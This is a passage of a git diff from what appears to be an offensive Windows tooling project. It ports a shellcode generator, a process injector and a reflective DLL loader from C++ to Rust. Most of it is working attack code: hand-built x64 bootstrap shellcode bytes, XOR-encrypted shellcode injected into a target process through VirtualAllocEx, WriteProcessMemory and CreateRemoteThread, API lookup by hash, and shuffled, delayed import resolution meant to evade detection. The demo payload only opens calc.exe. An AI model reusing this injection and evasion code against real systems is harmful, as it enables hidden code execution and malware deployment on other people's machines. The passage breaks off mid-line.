loader_b.as_mut_ptr() as usize; + println!("[+] loader offset: {:#x}", loader_offset); + + // 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode + + // TODO: clean up & fix 'call to push immediately after creation' compiler warning by + // calculating little-endian representations of variables (flag, parameter length & offset, + // function hash, payload offset, loader address) beforehand + + let mut bootstrap: Vec = Vec::new(); + + /* + 1.) save the current location in memory for calculating offsets later + */ + + // call 0x00 (this will push the address of the next function to the stack) + bootstrap.push(0xe8); + bootstrap.push(0x00); + bootstrap.push(0x00); + bootstrap.push(0x00); + bootstrap.push(0x00); + + // pop rcx - this will pop the value we saved on the stack into rcx to capture our current location in memory + bootstrap.push(0x59); + + // mov r8, rcx - copy the value of rcx into r8 before we start modifying RCX + bootstrap.push(0x49); + bootstrap.push(0x89); + bootstrap.push(0xc8); + + /* + 2.) align the stack and create shadow space + */ + + // push rsi - save original value + bootstrap.push(0x56); + + // mov rsi, rsp - store our current stack pointer for later + bootstrap.push(0x48); + bootstrap.push(0x89); + bootstrap.push(0xe6); + + // and rsp, 0x0FFFFFFFFFFFFFFF0 - align the stack to 16 bytes + bootstrap.push(0x48); + bootstrap.push(0x83); + bootstrap.push(0xe4); + bootstrap.push(0xf0); + + // sub rsp, 0x30 (48 bytes) - create shadow space on the stack, which is required for x64. A minimum of 32 bytes for rcx, rdx, r8, r9. Then other params on stack + bootstrap.push(0x48); + bootstrap.push(0x83); + bootstrap.push(0xec); + bootstrap.push(6 * 8); // 6 args that are 8 bytes each + + /* + 3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments) + */ + + // mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) - (32 bytes) Push in arg 5 + bootstrap.push(0x48); + bootstrap.push(0x89); + bootstrap.push(0x4C); + bootstrap.push(0x24); + bootstrap.push(4 * 8); // 5th arg + + // sub qword ptr [rsp + 0x20], 0x5 (shellcode base) - modify the 5th arg to get the real shellcode base + bootstrap.push(0x48); + bootstrap.push(0x83); + bootstrap.push(0x6C); + bootstrap.push(0x24); + bootstrap.push(4 * 8); // 5th arg + bootstrap.push(5); // minus 5 bytes because call 0x00 is 5 bytes to get the allocate memory from VirtualAllocEx from injector + + // mov dword ptr [rsp + 0x28], - (40 bytes) Push arg 6 just above shadow space + bootstrap.push(0xC7); + bootstrap.push(0x44); + bootstrap.push(0x24); + bootstrap.push(5 * 8); // 6th arg + bootstrap.append(&mut flag.to_le_bytes().to_vec().clone()); + + /* + 4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9 + */ + + // mov r9, - copy the 4th parameter, which is the length of the user data into r9 + bootstrap.push(0x41); + bootstrap.push(0xb9); + let parameter_length = parameter.len() as u32; // This must u32 or it breaks assembly + bootstrap.append(&mut parameter_length.to_le_bytes().to_vec().clone()); + + // add r8, + - copy the 3rd parameter, which is address of the user function into r8 after calculation + bootstrap.push(0x49); + bootstrap.push(0x81); + bootstrap.push(0xc0); // minus 5 because of the call 0x00 instruction + let parameter_offset = + (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32 + payload_b.len() as u32; + bootstrap.append(&mut parameter_offset.to_le_bytes().to_vec().clone()); + + // mov edx, - copy the 2nd parameter, which is the hash of the user function into edx + bootstrap.push(0xba); + bootstrap.append(&mut function_hash.to_le_bytes().to_vec().clone()); + + // add rcx, - copy the 1st parameter, which is the address of the user dll into rcx after calculation + bootstrap.push(0x48); + bootstrap.push(0x81); + bootstrap.push(0xc1); // minus 5 because of the call 0x00 instruction + let payload_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32; // mut be u32 or it breaks assembly + bootstrap.append(&mut payload_offset.to_le_bytes().to_vec().clone()); + + /* + 5.) call the reflective loader + */ + + // call - call the reflective loader address after calculation + bootstrap.push(0xe8); + let loader_address = + (BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4) + loader_offset as u32; // must be u32 or it breaks assembly + bootstrap.append(&mut loader_address.to_le_bytes().to_vec().clone()); + + // padding + bootstrap.push(0x90); + bootstrap.push(0x90); + + /* + 6.) restore the stack and return to the original location (caller) + */ + + // mov rsp, rsi - reset original stack pointer + bootstrap.push(0x48); + bootstrap.push(0x89); + bootstrap.push(0xf4); + + // pop rsi - put things back where they were left + bootstrap.push(0x5e); + + // ret - return to caller and resume execution flow (avoids crashing process) + bootstrap.push(0xc3); + + // padding + bootstrap.push(0x90); + bootstrap.push(0x90); + + if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize { + panic!("Bootstrap length is not correct, please modify the BOOTSTRAP_TOTAL_LEN constant in the source"); + } else { + println!("[+] bootstrap size: {}", bootstrap.len()); + } + + println!("[+] reflective loader size: {}", loader_b.len()); + println!("[+] payload size: {}", payload_b.len()); + + let mut shellcode = Vec::new(); + + shellcode.append(&mut bootstrap); + shellcode.append(loader_b); + shellcode.append(payload_b); + shellcode.append(&mut parameter.as_bytes().to_vec()); + + /* + the final PIC shellcode will have the following memory layout: + - bootstrap + - sRDI shellcode + - payload DLL bytes + - user data + */ + + println!("\n[+] total shellcode size: {}", shellcode.len()); + println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)"); + println!( + "[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]" + ); + println!( + "[+] rcx: {:#x} rdx: {:#x} r8: {}, r9: {:#x}, arg5: shellcode.bin address, arg6: {}", + payload_offset, + function_hash, + parameter, + parameter.len(), + flag + ); + + shellcode +} + +fn gen_xor_key(keysize: usize) -> Vec { + let mut key = Vec::new(); + + for _ in 0..keysize { + key.push(rand::random::()); + } + + key +} + +fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Option<*mut u8> { + for (e_name, addr) in unsafe { get_exports(base_ptr) } { + if e_name == name { + return Some(addr as _); + } + } + + None +} + +unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap { + let mut exports = BTreeMap::new(); + + let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER; + + if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE { + panic!("Failed to get DOS header"); + } + + let nt_header_ptr = rva_mut::(base_ptr, (*dos_header_ptr).e_lfanew as _); + let export_dir_ptr = rva_to_offset( + base_ptr as _, + &*nt_header_ptr, + (*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress, + ) as *mut IMAGE_EXPORT_DIRECTORY; + + let export_names = from_raw_parts( + rva_to_offset( + base_ptr as _, + &*nt_header_ptr, + (*export_dir_ptr).AddressOfNames, + ) as *const u32, + (*export_dir_ptr).NumberOfNames as _, + ); + let export_functions = from_raw_parts( + rva_to_offset( + base_ptr as _, + &*nt_header_ptr, + (*export_dir_ptr).AddressOfFunctions, + ) as *const u32, + (*export_dir_ptr).NumberOfFunctions as _, + ); + let export_ordinals = from_raw_parts( + rva_to_offset( + base_ptr as _, + &*nt_header_ptr, + (*export_dir_ptr).AddressOfNameOrdinals, + ) as *const u16, + (*export_dir_ptr).NumberOfNames as _, + ); + + for i in 0..(*export_dir_ptr).NumberOfNames as usize { + let export_name = + rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i]) as *const i8; + + if let Ok(export_name) = CStr::from_ptr(export_name).to_str() { + let export_ordinal = export_ordinals[i] as usize; + exports.insert( + export_name.to_string(), + rva_to_offset( + base_ptr as _, + &*nt_header_ptr, + export_functions[export_ordinal], + ), + ); + } + } + + exports +} + +fn rva_mut(base_ptr: *mut u8, rva: usize) -> *mut T { + (base_ptr as usize + rva) as *mut T +} + +unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva: u32) -> usize { + let section_header_ptr = rva_mut::( + &nt_header_ref.OptionalHeader as *const _ as _, + nt_header_ref.FileHeader.SizeOfOptionalHeader as _, + ); + let section_count = nt_header_ref.FileHeader.NumberOfSections; + + for i in 0..section_count as usize { + let virtual_addr = (*section_header_ptr.add(i)).VirtualAddress; + let virtual_size = (*section_header_ptr.add(i)).Misc.VirtualSize; + + // check if the rva is within the current section + if virtual_addr <= rva && virtual_addr + virtual_size > rva { + // adjust the rva to be relative to the start of the section in the file + rva -= (*section_header_ptr.add(i)).VirtualAddress; + rva += (*section_header_ptr.add(i)).PointerToRawData; + + return base + rva as usize; + } + } + + 0 +} diff --git a/injector/Cargo.toml b/injector/Cargo.toml new file mode 100644 index 0000000..525b219 --- /dev/null +++ b/injector/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "airborne-injector" +version = "0.1.0" +edition = "2021" + +[dependencies] +lexopt = "0.3.0" +airborne-utils = { path = "../utils" } + +[dependencies.windows-sys] +version = "0.52.0" +features = [ + "Win32_Foundation", + "Win32_System_Memory", + "Win32_System_Diagnostics_ToolHelp", +] diff --git a/injector/injector.cpp b/injector/injector.cpp deleted file mode 100644 index 0786d9c..0000000 --- a/injector/injector.cpp +++ /dev/null @@ -1,56 +0,0 @@ -#include - -#include - -#include "../shared/crypto.hpp" -#include "../shared/futils.hpp" - -#define VERBOSE 1 - -int main(int argc, char **argv) { - if (argc != 3) { - std::cout << "\nUsage: " << argv[0] << " \n" - << std::endl; - return 1; - } - -#ifdef VERBOSE - std::cout << "[+] Reading shellcode from " << argv[1] << std::endl; -#endif - - auto shellcodeContents = ReadFromFile(argv[1]); - -#ifdef VERBOSE - std::cout << "[+] Reading XOR key from " << argv[2] << std::endl; -#endif - - auto key = ReadFromFile(argv[2]); - -#ifdef VERBOSE - std::cout << "[+] XOR'ing shellcode" << std::endl; -#endif - - XorCipher(&shellcodeContents, key); - - auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - - if (!baseAddress) { - std::cout << "[!] Failed to allocate memory" << std::endl; - return 1; - } - -#ifdef VERBOSE - std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl; -#endif - - std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast(baseAddress)); - -#ifdef VERBOSE - std::cout << "[+] Copied shellcode to " << baseAddress << std::endl; - std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl; -#endif - - __asm__("jmp *%0" ::"r"(baseAddress)); - - return 0; -} diff --git a/injector/src/inject.rs b/injector/src/inject.rs new file mode 100644 index 0000000..ad9df1a --- /dev/null +++ b/injector/src/inject.rs @@ -0,0 +1,62 @@ +use std::{mem::transmute, ptr::null_mut}; + +use windows_sys::Win32::{ + Foundation::{CloseHandle, INVALID_HANDLE_VALUE}, + System::{ + Diagnostics::Debug::WriteProcessMemory, + Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}, + Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS}, + }, +}; + +pub unsafe fn inject(pid: u32, dll_vec: Vec) { + let dll_len = dll_vec.len(); + + let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); + + if h_process == INVALID_HANDLE_VALUE { + panic!("failed to open process"); + } + + let base_addr_ptr = VirtualAllocEx( + h_process, + null_mut(), + dll_len, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ); + + if base_addr_ptr.is_null() { + panic!("failed to allocate memory"); + } + + println!("[+] allocated memory at {:p}", base_addr_ptr); + + if WriteProcessMemory( + h_process, + base_addr_ptr, + dll_vec.as_ptr() as _, + dll_len, + null_mut(), + ) == 0 + { + panic!("failed to write process memory"); + } + + let h_thread = CreateRemoteThread( + h_process, + null_mut(), + 0, + Some(transmute(base_addr_ptr as usize)), + null_mut(), + 0, + null_mut(), + ); + + if h_thread == INVALID_HANDLE_VALUE { + panic!("failed to create remote thread"); + } + + CloseHandle(h_thread); + CloseHandle(h_process); +} diff --git a/injector/src/main.rs b/injector/src/main.rs new file mode 100644 index 0000000..a8d525b --- /dev/null +++ b/injector/src/main.rs @@ -0,0 +1,89 @@ +mod inject; +mod process; + +use std::{fs, path::PathBuf, process::exit}; + +use lexopt::Arg::{Long, Short}; + +#[derive(Debug)] +struct Args { + procname: String, + shellcode_path: PathBuf, + keyfile_path: PathBuf, + offset: usize, +} + +fn main() { + let args = parse_args(); + let proc_id = + unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") }; + + let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode"); + + if args.offset >= shellcode.len() { + println!("[!] offset is greater or equal than shellcode length"); + exit(1); + } + + let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile"); + println!("[+] xor'ing shellcode"); + airborne_utils::xor_cipher(&mut shellcode, &keyfile); + + println!("[+] injecting shellcode into {}", args.procname); + unsafe { inject::inject(proc_id, shellcode) }; + + println!("[+] done"); +} + +fn parse_args() -> Args { + let mut args = Args { + procname: String::new(), + shellcode_path: PathBuf::new(), + keyfile_path: PathBuf::new(), + offset: 0, + }; + + let mut parser = lexopt::Parser::from_env(); + + while let Some(arg) = parser.next().expect("failed to parse arguments") { + match arg { + Short('p') => { + args.procname = parser + .value() + .expect("failed to parse process name") + .into_string() + .expect("failed to convert process name into String"); + } + Short('s') => { + args.shellcode_path = parser + .value() + .expect("failed to parse shellcode path") + .into(); + } + Short('k') => { + args.keyfile_path = parser.value().expect("failed to parse keyfile path").into(); + } + Short('h') | Long("help") => { + print_usage(); + exit(0); + } + _ => { + println!("[!] invalid argument: {:?}", arg); + print_usage(); + exit(1); + } + } + } + + if args.procname.is_empty() || !args.shellcode_path.exists() || !args.keyfile_path.exists() { + println!("[!] missing or invalid argument(s)"); + print_usage(); + exit(1); + } + + args +} + +fn print_usage() { + println!("Usage: injector.exe -p -s -k "); +} diff --git a/injector/src/process.rs b/injector/src/process.rs new file mode 100644 index 0000000..9a36e16 --- /dev/null +++ b/injector/src/process.rs @@ -0,0 +1,56 @@ +use std::ffi::CStr; + +use windows_sys::Win32::{ + Foundation::{CloseHandle, INVALID_HANDLE_VALUE}, + System::Diagnostics::ToolHelp::{ + CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS, + }, +}; + +fn snapshot() -> isize { + let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) }; + + if snapshot == INVALID_HANDLE_VALUE { + panic!("failed to create snapshot"); + } + + snapshot +} + +unsafe fn first_proc_entry(snapshot: isize) -> PROCESSENTRY32 { + let mut pe: PROCESSENTRY32 = std::mem::zeroed(); + pe.dwSize = std::mem::size_of::() as _; + + if Process32First(snapshot, &mut pe) == 0 { + CloseHandle(snapshot); + panic!("failed to get first process entry"); + } + + pe +} + +pub unsafe fn iterate_procs(target_name: &str) -> Option { + let snapshot = snapshot(); + let mut pe = first_proc_entry(snapshot); + + loop { + let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _) + .to_string_lossy() + .into_owned(); + + if proc_name.to_lowercase() == target_name.to_lowercase() { + let pid = pe.th32ProcessID; + println!("[+] {}: {}", pid, proc_name); + CloseHandle(snapshot); + + return Some(pid); + } else if Process32Next(snapshot, &mut pe) == 0 { + break; + } + } + + println!("[-] process with name {} not found", target_name); + CloseHandle(snapshot); + + None +} diff --git a/payload/Cargo.toml b/payload/Cargo.toml new file mode 100644 index 0000000..260ee28 --- /dev/null +++ b/payload/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "airborne-payload" +version = "0.1.0" +edition = "2021" + +[lib] +crate-type = ["cdylib"] + +[dependencies] + +[dependencies.windows-sys] +version = "0.52.0" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_UI_Shell", + "Win32_UI_WindowsAndMessaging" +] diff --git a/payload/payload.cpp b/payload/payload.cpp deleted file mode 100644 index 4e7fb02..0000000 --- a/payload/payload.cpp +++ /dev/null @@ -1,24 +0,0 @@ -#pragma GCC diagnostic ignored "-Wunused-parameter" - -#include - -#ifdef BUILD_DLL -#define DLL_EXPORT __declspec(dllexport) -#else -#define DLL_EXPORT __declspec(dllimport) -#endif - -BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { - if (dwReason == DLL_PROCESS_ATTACH) { - CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); - } - - return TRUE; -} - -BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize) { - auto lpText = static_cast(lpUserData); - MessageBoxW(NULL, lpText, L"Hello World!", MB_OK); - - return TRUE; -} diff --git a/payload/src/lib.rs b/payload/src/lib.rs new file mode 100644 index 0000000..139377c --- /dev/null +++ b/payload/src/lib.rs @@ -0,0 +1,39 @@ +use std::{ffi::c_void, ptr::null_mut, slice::from_raw_parts, str::from_utf8}; + +use windows_sys::{ + w, + Win32::{ + Foundation::HMODULE, + System::SystemServices::DLL_PROCESS_ATTACH, + UI::{ + Shell::ShellExecuteW, + WindowsAndMessaging::{MessageBoxW, MB_OK}, + }, + }, +}; + +#[no_mangle] +#[allow(non_snake_case)] +pub unsafe extern "system" fn DllMain(_module: HMODULE, reason: u32, _reserved: *mut u8) -> bool { + if reason == DLL_PROCESS_ATTACH { + ShellExecuteW(0, w!("open"), w!("calc.exe"), null_mut(), null_mut(), 0); + } + + true +} + +#[no_mangle] +#[allow(non_snake_case)] +unsafe fn PrintMessage(user_data_ptr: *mut c_void, user_data_len: u32) { + let udata_slice = from_raw_parts(user_data_ptr as *const u8, user_data_len as usize); + + // TODO: switch to no_std environment, wstr can be created from u8 by utilizing udata_len as array length + + let mut user_text_wstr = from_utf8(udata_slice) + .unwrap() + .encode_utf16() // must be UTF-16 for MessageBoxW + .collect::>(); + user_text_wstr.push(0); // null-termination + + MessageBoxW(0, user_text_wstr.as_ptr() as _, w!("Hello World!"), MB_OK); +} diff --git a/reflective_loader/Cargo.toml b/reflective_loader/Cargo.toml new file mode 100644 index 0000000..65f5926 --- /dev/null +++ b/reflective_loader/Cargo.toml @@ -0,0 +1,20 @@ +[package] +name = "airborne-reflective_loader" +version = "0.1.0" +edition = "2021" + +[lib] +crate-type = ["cdylib"] + +[dependencies] +airborne-utils = { path = "../utils" } +rand_core = "0.6.0" + +[dependencies.windows-sys] +version = "0.52.0" +features = [ + "Win32_Foundation", + "Win32_System_Kernel", + "Win32_System_Threading", + "Win32_System_WindowsProgramming" +] diff --git a/reflective_loader/loader.cpp b/reflective_loader/loader.cpp deleted file mode 100644 index de53c71..0000000 --- a/reflective_loader/loader.cpp +++ /dev/null @@ -1,392 +0,0 @@ -#include "loader.hpp" - -#include -#include -#include - -#include "../shared/crypto.hpp" - -void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags) { - /* - 1.) Locate the required functions and modules from exports with their hashed names - */ - - auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH); - - if (pbKernel32Dll == nullptr) { - return; - } - - std::random_device rd; - std::mt19937 eng(rd()); - - auto pLoadLibraryW = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, LOAD_LIBRARY_W_HASH, &eng)); - auto pGetProcAddress = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, GET_PROC_ADDRESS_HASH, &eng)); - auto pVirtualAlloc = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_ALLOC_HASH, &eng)); - auto pFlushInstructionCache = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, FLUSH_INSTRUCTION_CACHE_HASH, &eng)); - auto pVirtualProtect = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, &eng)); - auto pSleep = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, &eng)); - - if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr) { - return; - } - - /* - 2.) Load the target image to a newly allocated permanent memory location with RW permissions - - https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c - */ - - auto pNtHeaders = GetNtHeaders(pImage); - - if (pNtHeaders == nullptr) { - return; - } else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { - return; - } else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) { - return; - } else if (pNtHeaders->OptionalHeader.SectionAlignment & 1) { - return; - } - - auto dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage; - auto ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase; - - // Try to allocate the image to the preferred base address - auto pNewImageBase = reinterpret_cast(pVirtualAlloc(reinterpret_cast(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); - - if (!pNewImageBase) { - // Try to allocate the image to any available base address - pNewImageBase = reinterpret_cast(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); - - if (!pNewImageBase) { - return; - } - } - - CopyHeadersAndSections(pNewImageBase, pImage, pNtHeaders); - - /* - 3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address) - */ - - auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase; - auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - - if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta)) { - return; - } - - /* - 4.) Resolve the imports by patching the Import Address Table (IAT) - */ - - if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, &eng)) { - return; - } - - /* - 5.) Finalize the sections by setting protective permissions after mapping the image - */ - - FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache); - - /* - 6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator - */ - - if (dwFlags == 0) { - // Execute DllMain with DLL_PROCESS_ATTACH - auto pDllMain = reinterpret_cast(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint); - // Optionally user data could also be passed to the DllMain instead of a separate function - pDllMain(reinterpret_cast(pNewImageBase), DLL_PROCESS_ATTACH, nullptr); - } else { - // Execute user defined function - auto pbNewImageBase = reinterpret_cast(pNewImageBase); - auto pUserFunction = reinterpret_cast(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, &eng)); - pUserFunction(pvUserData, dwUserDataLen); - } -} - -void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache) { - auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); - - DWORD dwOldProtect, dwNewProtect; - LPVOID lpAddress; - - for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) { - dwNewProtect = 0; - - // Definitions for readability - DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; - DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0; - DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0; - - if (!dwIsExecutable && !dwIsReadable && !dwIsWritable) { - dwNewProtect = PAGE_NOACCESS; - } - - if (dwIsWritable) { - dwNewProtect = PAGE_WRITECOPY; - } - - if (dwIsReadable) { - dwNewProtect = PAGE_READONLY; - } - - if (dwIsWritable && dwIsReadable) { - dwNewProtect = PAGE_READWRITE; - } - - if (dwIsExecutable) { - dwNewProtect = PAGE_EXECUTE; - } - - if (dwIsExecutable && dwIsWritable) { - dwNewProtect = PAGE_EXECUTE_WRITECOPY; - } - - if (dwIsExecutable && dwIsReadable) { - dwNewProtect = PAGE_EXECUTE_READ; - } - - if (dwIsExecutable && dwIsWritable && dwIsReadable) { - dwNewProtect = PAGE_EXECUTE_READWRITE; - } - - lpAddress = reinterpret_cast(pNewImageBase + pSectionHeader->VirtualAddress); - pVirtualProtect(lpAddress, pSectionHeader->Misc.VirtualSize, dwNewProtect, &dwOldProtect); - } - - pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0); -} - -BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 *eng) { - auto pImportDescriptor = reinterpret_cast(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); - - if (pImportDescriptor == nullptr) { - return FALSE; - } - - /* - 1.) Shuffle Import Table entries - 2.) Delay the relocation of each import a semirandom duration - 3.) Conditional execution based on ordinal/name - 4.) Indirect function call via pointer - */ - - int importCount = 0; - auto pId = pImportDescriptor; - - while (pId->Name) { - importCount++; - pId++; - } - - std::vector> sleepDurations; - std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS); - - if (importCount > 1 && OBFUSCATE_IMPORTS) { - for (auto i = 0; i < importCount - 1; i++) { - std::uniform_int_distribution<> distr(i, importCount - 1); - int j = distr(*eng); - - // Swap - auto tmp = pImportDescriptor[i]; - pImportDescriptor[i] = pImportDescriptor[j]; - pImportDescriptor[j] = tmp; - - // Store unique sleep durations with their corresponding import index - auto sleepTime = sleepDist(*eng); - sleepDurations.push_back(std::make_pair(i, sleepTime)); - } - } - - LPCWSTR pwszModuleName; - HMODULE hModule; - PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat; - - for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++) { - // Apply delay - if (OBFUSCATE_IMPORTS) { - auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair &pair) { return pair.first == i; }); - - if (it != sleepDurations.end()) { - pSleep(it->second); - } - } - - pwszModuleName = reinterpret_cast(pNewImageBase + pImportDescriptor->Name); - hModule = pLoadLibraryW(pwszModuleName); - - if (hModule == nullptr) { - return FALSE; - } - - pThunkData = reinterpret_cast(pNewImageBase + pImportDescriptor->OriginalFirstThunk); - pThunkDataIat = reinterpret_cast(pNewImageBase + pImportDescriptor->FirstThunk); - - LPCSTR lpProcName; - PIMAGE_IMPORT_BY_NAME pImportByName; - - for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++) { - if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) { - // High bits masked out to get the ordinal number - lpProcName = reinterpret_cast(pThunkData->u1.Ordinal & 0xFFFF); - } else { - // The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure - pImportByName = reinterpret_cast(pNewImageBase + pThunkData->u1.AddressOfData); - lpProcName = pImportByName->Name; - } - - pThunkDataIat->u1.Function = reinterpret_cast(pGetProcAddress(hModule, lpProcName)); - } - } - - return TRUE; -} - -BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta) { - auto pRelocation = reinterpret_cast(pNewImageBase + pDataDirectory->VirtualAddress); - - if (pRelocation == nullptr || pDataDirectory->Size == 0) { - return FALSE; - } - - // Upper bound to prevent accessing memory part the end of the relocation data - auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size; - PIMAGE_RELOC pRelocationList; - - while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock) { - pRelocationList = reinterpret_cast(pRelocation + 1); - - while (reinterpret_cast(pRelocationList) < reinterpret_cast(pRelocation) + pRelocation->SizeOfBlock) { - auto pPatchAddress = reinterpret_cast(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset); - - // Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD - switch (pRelocationList->type) { - case IMAGE_REL_BASED_DIR64: - *reinterpret_cast(pPatchAddress) += ulpDelta; - break; - case IMAGE_REL_BASED_HIGHLOW: - *reinterpret_cast(pPatchAddress) += static_cast(ulpDelta); - break; - case IMAGE_REL_BASED_HIGH: - *reinterpret_cast(pPatchAddress) += HIWORD(ulpDelta); - break; - case IMAGE_REL_BASED_LOW: - *reinterpret_cast(pPatchAddress) += LOWORD(ulpDelta); - break; - default: - continue; - } - - pRelocationList++; - } - - pRelocation = reinterpret_cast(pRelocationList); - } - - return TRUE; -} - -void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders) { - // Copy headers - auto pbDst = reinterpret_cast(pNewImageBase); - std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst); - - // Copy sections - auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); - pbDst = reinterpret_cast(pNewImageBase + pSectionHeader->VirtualAddress); - - PBYTE pbSrc; - - for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) { - pbSrc = reinterpret_cast(pbImage + pSectionHeader->PointerToRawData); - std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst); - } -} - -PBYTE GetModuleAddressFromHash(DWORD dwHash) { - // https://en.wikipedia.org/wiki/Win32_Thread_Information_Block -#if defined(_WIN64) - // PEB is at GS:[0x60] - auto pPEB = reinterpret_cast(__readgsqword(0x60)); -#else - // PEB is at FS:[0x30] - auto pPEB = 